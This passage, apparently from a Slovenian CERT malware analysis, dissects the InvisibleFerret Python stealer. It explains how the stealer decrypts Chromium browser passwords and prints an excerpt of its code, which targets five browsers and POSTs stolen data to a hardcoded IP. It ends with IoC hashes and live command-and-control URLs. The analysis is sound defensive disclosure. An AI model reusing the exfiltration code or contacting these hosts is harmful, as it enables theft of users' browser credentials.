Pridobitev ključa in dešifriranje se razlikuje glede na operacijski sistem, saj se tudi sama implementacija v brskalnikih nekoliko razlikuje. V Windows OS-u program za dešifriranje podatkov uporabi funkcijo dec_win_pwd, na ostalih OS-ih pa dec_unx_pwd. Na Windows OS-u je ključ dodatno zašifriran in shranjen v JSON datoteki Local State, za dešifriranje tega ključa se uporablja Windows API funkcija CyptUnprotectData, ki s posebnim ključem trenutnega uporabnika dešifrira podatke. Ostali operacijski sistemi pa imajo ključ shranjen v t.i. keychain/keyring sistemskih shrambah.

...
class BVer:
    def __str__(A):return A.b_n
    def __eq__(A,__o):return A.b_n==__o

class Chrome(BVer):b_n = "chrome";v_w = ["chrome", "chrome dev", "chrome beta", "chrome canary"];v_l = ["google-chrome", "google-chrome-unstable", "google-chrome-beta"];v_m = ["chrome", "chrome dev", "chrome beta", "chrome canary"]
class Brave(BVer):b_n = "brave";v_w = ["Brave-Browser", "Brave-Browser-Beta", "Brave-Browser-Nightly"];v_l = ["Brave-Browser", "Brave-Browser-Beta", "Brave-Browser-Nightly"];v_m = ["Brave-Browser", "Brave-Browser-Beta", "Brave-Browser-Nightly"]
class Opera(BVer):b_n = "opera";v_w = ["Opera Stable", "Opera Next", "Opera Developer"];v_l = ["opera", "opera-beta", "opera-developer"];v_m = ["com.operasoftware.Opera", "com.operasoftware.OperaNext", "com.operasoftware.OperaDeveloper"]
class Yandex(BVer):b_n = "yandex";v_w = ["YandexBrowser"];v_l = ["YandexBrowser"];v_m = ["YandexBrowser"]
class MsEdge(BVer):b_n = "msedge";v_w = ["Edge"];v_l = [];v_m = []

av_bros = [Chrome, Brave, Opera, Yandex, MsEdge]
...
class CB:
    ...
    def save(A, fn: Union[Path, str], fp: Union[Path, str], vb: bool = _T) -> bool:
        cc = fp + '\n' + A.pretty_print()
        ops = {'ts': str(ts),'type': sType,'hid': hn,'ss': str(fn),'cc': cc}
        url = host2+'/keys' # http://23.106.253.221:1244/keys
        try:requests.post(url, data=ops)
        except:return ""
    ...
...

V zgornjem izseku kode vidimo, da podatke krade samo iz spletnih brskalnikov Chrome, Opera, Brave, Yandex in Edge (baziranih na Chromium), kar je najverjetneje posledica višje specializiranosti. Pridobljene podatke pošlje z metodo save, kjer se tudi vidi, da uporabi HTTP POST zahtevo na fiksni naslov http://23.106.253.221:1244/keys.

Povzetek

V tem delu smo pogledali delovanje dveh zlonamernih Python skript, ki sta prenešeni in izvršeni preko t.i. loaderja ali dropperja (.npl) z imenom InvisibleFerret. Podobno kot za BeaverTail lahko tudi tega prepoznamo po obliki URL-jev s katerimi komunicira, imenih modulov (pay, bow, adc) ali pa imenu skripte .npl.

Seznam indikatorjev zlorabe (IoC)

ImeSHA256
userRoutes.js4f632429fedb39fa2addaeff3ba900679ebff99e45353d523776831e2558df80
test.js354e7014103783c2096b9f29e4eed11f79d19b13bda112b6fed4ffbf3ad438b9
p2.zip6a104f07ab6c5711b6bc8bf6ff956ab8cd597a388002a966e980c5ec9678b5b0
.nplf46b47e859f321b6676289f3637538b60e1d7d97ee8d79b8ba9d12248858a75a
pay95e3cbaac2749928598928c3b8ca80358c136e01bc429d2c2da77cc788566e1e
bow6b331ab212a839ad1b1b673ca74a3c50c6dae383c19661e0ae71853f615aa891
adc335ad22f143ff050bb405cd48d0011a9eb9f4c7501b18781a42d3956718827c8
URL
https://github.com/0xcestlaview/addingtoken
http://23.106.253.221:1244/j/ZU1RINz7
http://23.106.253.221:1244/p
http://23.106.253.221:1244/keys
http://23.106.253.221:1244/pdown
http://23.106.253.221:1244/uploads
http://23.106.253.221:1244/client/ZU1RINz7
http://23.106.253.221:1244/payload/ZU1RINz7
http://23.106.253.221:1244/brow/ZU1RINz7
http://23.106.253.221:1244/adc/ZU1RINz7
http://23.106.253.221:1244/any
IPVrata
173.211.106.1011244

Preberite tudi

5 varnostnih nasvetov, ki naj v 2025 gredo v pozabo

Pripravili smo pregled nekaj varnostnih nasvetov, ki naj v 2025 gredo v pozabo, saj gre za prakse, ki več ne ustrezajo sodobnim varnostnim zahtevam.
Več

Kaj nas je naučilo leto 2024?

Iztekajoče leto 2024 so zaznamovali tako odmevnejši kibernetski napadi na velike organizacije, ki so pritegnili veliko medijske pozornosti, kot tudi veliko število incidentov v manjših podjetjih, predvsem prevar z vrivanjem v poslovno komunikacijo (t.i. BEC prevara) in okužb z zlonamerno kodo (t.i. infostealers). 
Več

Konferenca o ozaveščanju o kibernetski varnosti

Agencija EU za kibernetsko varnost ENISA je v partnerstvu s SI-CERT organizirala prvo mednarodno konferenco o ozaveščanju o kibernetski varnosti. Dogodek je 27. novembra 2024, v Klubu Cankarjevega doma, gostil …
Več